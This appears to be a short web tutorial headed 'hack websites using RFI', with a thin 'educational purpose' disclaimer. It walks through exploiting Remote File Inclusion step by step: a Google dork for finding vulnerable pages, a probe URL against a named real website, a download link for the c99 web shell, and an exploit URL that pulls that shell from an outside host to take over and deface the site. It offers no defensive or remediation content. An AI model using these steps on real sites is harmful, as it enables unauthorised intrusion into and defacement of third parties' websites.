hack websites using RFI

Only For Educational Purpose.!!!

Lets Start

1st Find a Vunerable websites using Google Dork

“inurl:index.php?page=” its Most Popular Dork of RFI hacking
This will show all the pages which has “index.php?page=” in their URL,
Now to test whether the website is vulnerable to Remote file Inclusion or
not the hacker use the following command
www.targetsite.com/index.php?page=www.google.com
See example of this website http://www.cbspk.com
So the hacker url will become
http://www.cbspk.com/v2/index.php?page=http://www.google.com
If after executing the command the homepage of the google shows up
then then the website is vulnerable to this attack if it does not come up
then you should look for a new target. In my case after executing the
above command in the address bar Google homepage shows up

indicating that the website is vulnerable to this attack.
Now the hacker would upload the shells to gain access. The most
common shells used are c99 shell or r57 shell. I would use c99 shell. You
can download c99 shell from the link below:
http://www.sh3ll.org/c99.zip
The hacker would first upload the shells to a webhosting site such as
ripway.com, viralhosts.com,110mb.com or another free hosts etc.
Now here is how a hacker would execute the shells to gain access. Lets
say that the url of the shell is http://www.sh3ll.org/c99.txt?
Now here is how a hacker would execute the following command to gain
access
http://www.cbspk.com/v2/index.php?page=http://www.sh3ll.org/c99.txt?

Don't Forget To add “?” after .txt at the end of url or else the shell will
not execute. Now the hacker is inside the website and he could do
anything with it he can upload deface pages... etc to pwned the site :p